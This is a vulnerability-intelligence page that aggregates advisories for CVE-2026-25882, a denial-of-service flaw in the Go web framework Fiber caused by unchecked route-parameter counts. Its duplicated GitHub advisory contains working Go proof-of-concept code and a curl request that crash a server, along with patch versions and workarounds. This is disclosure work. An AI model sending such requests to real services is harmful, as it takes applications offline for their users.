Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

CVSS 4.0 5.5 MEDIUMEUVD CVSS 4.0 5.5 CVSS 4.0 · [email protected] · Secondary 5.5 MEDIUMCVSS 3.1 · [email protected] · Primary 7.5 HIGHCVSS_V4 Publisher rating MODERATEFixed by github.com/gofiber/fiber/v2 2.52.12Fixed by github.com/gofiber/fiber/v3 3.1.0osv · severity unknownFixed by github.com/gofiber/fiber/v2 2.52.12Fixed by github.com/gofiber/fiber/v3 3.1.0KEV status unknown

cve-program · CVE-2026-25882

Published

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch.

Read the publisher's advisory

euvd · EUVD-2026-8563

Published

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch.

Read the publisher's advisory

nvd · CVE-2026-25882

Published

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch.

Read the publisher's advisory

osv · GHSA-mrq8-rjmw-wpq3

Published

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. ## Affected Versions - **Fiber v3.0.0-rc.3** and earlier v3 releases - **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation ## Vulnerability Details ### Root Cause Both Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`: ```go const maxParams = 30 type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... } ``` The `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write: - **v3**: `path.go:514` - **v2**: `path.go:516` ```go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i] ``` When `paramsIterator >= 30`, this triggers: ``` panic: runtime error: index out of range [30] with length 30 ``` ### Attack Scenario 1. Application registers route with >30 parameters (e.g., via code or dynamic routing): ```go app.Get("/api/:p1/:p2/:p3/.../p35", handler) ``` 2. Attacker sends matching HTTP request: ```bash curl http://target/api/v1/v2/v3/.../v35 ``` 3. Server crashes during request processing with runtime panic ## Proof of Concept ### For Fiber v3 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output:** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v3.(*routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(*Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(*App).next(...) /path/to/fiber/router.go:142 ``` ### For Fiber v2 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c *fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output (v2):** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v2.(*routeParser).getMatch(...) /path/to/fiber/[email protected]/path.go:512 github.com/gofiber/fiber/v2.(*Route).match(...) /path/to/fiber/[email protected]/router.go:84 github.com/gofiber/fiber/v2.(*App).next(...) /path/to/fiber/[email protected]/router.go:127 ``` ## Impact ### Exploitation Requirements - No authentication required - Single HTTP request triggers crash - Trivially scriptable for sustained DoS - Works against any route with >30 parameters ### Real-World Impact - **Public APIs**: Remote DoS attacks on vulnerable endpoints - **Microservices**: Cascade failures if vulnerable service is critical - **Auto-scaling**: Repeated crashes prevent proper recovery - **Monitoring**: Log flooding and alert fatigue ### Likelihood **HIGH** - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request ## Workarounds Until patched, users should: 1. **Audit Routes**: Ensure all routes have ≤30 parameters ```bash # Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules ``` 2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count: ```go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") } ``` 3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact 4. **Monitoring**: Alert on panic patterns in application logs ## Timeline - **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review - **2024-12-25**: Proof of concept confirmed exploitability in v3 - **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause) - **2024-12-25**: Security advisory created ## References - **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) - **Vulnerable Code Locations**: - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514) - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516) ## Credit **Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev

Read the publisher's advisory

osv · GO-2026-4543

Published

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow in github.com/gofiber/fiber

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-25882

Published

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch.

Source published
24 Feb 2026 21:05:28 UTC
Source modified
24 Feb 2026 21:39:51 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 5.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

euvd · EUVD-2026-8563

Published

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vuln…

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Feb 24, 2026, 9:05:28 PM

dateUpdated: Feb 24, 2026, 9:39:51 PM

Source published
Feb 24, 2026, 9:05:28 PM (timezone not stated)
Source modified
Feb 24, 2026, 9:39:51 PM (timezone not stated)
Saved here
15 Nov 2026 07:44:24 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 5.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

nvd · CVE-2026-25882

Published

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vuln…

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-129

Original publisher date fields

published: 2026-02-24T21:16:29.640

lastModified: 2026-06-17T10:25:22.483

1 source CPE criteria · context only
  • cpe:2.3:a:gofiber:fiber:*:*:*:*:*:go:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
24 Feb 2026 21:16:29 UTC
Source modified
17 Jun 2026 10:25:22 UTC
Saved here
25 Oct 2026 06:17:16 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 5.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-mrq8-rjmw-wpq3

Published

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. ## Affected Versions - **Fiber v3.0.0-rc.3** and earlier v3 releases - **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation ## Vulnerability Details ### Root Cause Both Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`: ```go const maxParams = 30 type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... } ``` The `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write: - **v3**: `path.go:514` - **v2**: `path.go:516` ```go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i] ``` When `paramsIterator >= 30`, this triggers: ``` panic: runtime error: index out of range [30] with length 30 ``` ### Attack Scenario 1. Application registers route with >30 parameters (e.g., via code or dynamic routing): ```go app.Get("/api/:p1/:p2/:p3/.../p35", handler) ``` 2. Attacker sends matching HTTP request: ```bash curl http://target/api/v1/v2/v3/.../v35 ``` 3. Server crashes during request processing with runtime panic ## Proof of Concept ### For Fiber v3 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output:** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v3.(*routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(*Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(*App).next(...) /path/to/fiber/router.go:142 ``` ### For Fiber v2 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c *fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output (v2):** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v2.(*routeParser).getMatch(...) /path/to/fiber/[email protected]/path.go:512 github.com/gofiber/fiber/v2.(*Route).match(...) /path/to/fiber/[email protected]/router.go:84 github.com/gofiber/fiber/v2.(*App).next(...) /path/to/fiber/[email protected]/router.go:127 ``` ## Impact ### Exploitation Requirements - No authentication required - Single HTTP request triggers crash - Trivially scriptable for sustained DoS - Works against any route with >30 parameters ### Real-World Impact - **Public APIs**: Remote DoS attacks on vulnerable endpoints - **Microservices**: Cascade failures if vulnerable service is critical - **Auto-scaling**: Repeated crashes prevent proper recovery - **Monitoring**: Log flooding and alert fatigue ### Likelihood **HIGH** - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request ## Workarounds Until patched, users should: 1. **Audit Routes**: Ensure all routes have ≤30 parameters ```bash # Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules ``` 2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count: ```go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") } ``` 3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact 4. **Monitoring**: Alert on panic patterns in application logs ## Timeline - **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review - **2024-12-25**: Proof of concept confirmed exploitability in v3 - **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause) - **2024-12-25**: Security advisory created ## References - **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) - **Vulnerable Code Locations**: - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514) - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516) ## Credit **Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev

Source published
24 Feb 2026 21:04:07 UTC
Source modified
10 Sep 2026 03:50:35 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

Publisher rating · MODERATE

osv · GO-2026-4543

Published

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow in github.com/gofiber/fiber

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow in github.com/gofiber/fiber

Source published
26 Feb 2026 16:27:51 UTC
Source modified
26 Feb 2026 19:11:05 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 12:11 UTC · 256 of 275 readable · 252 fully read · documentation 469/469 current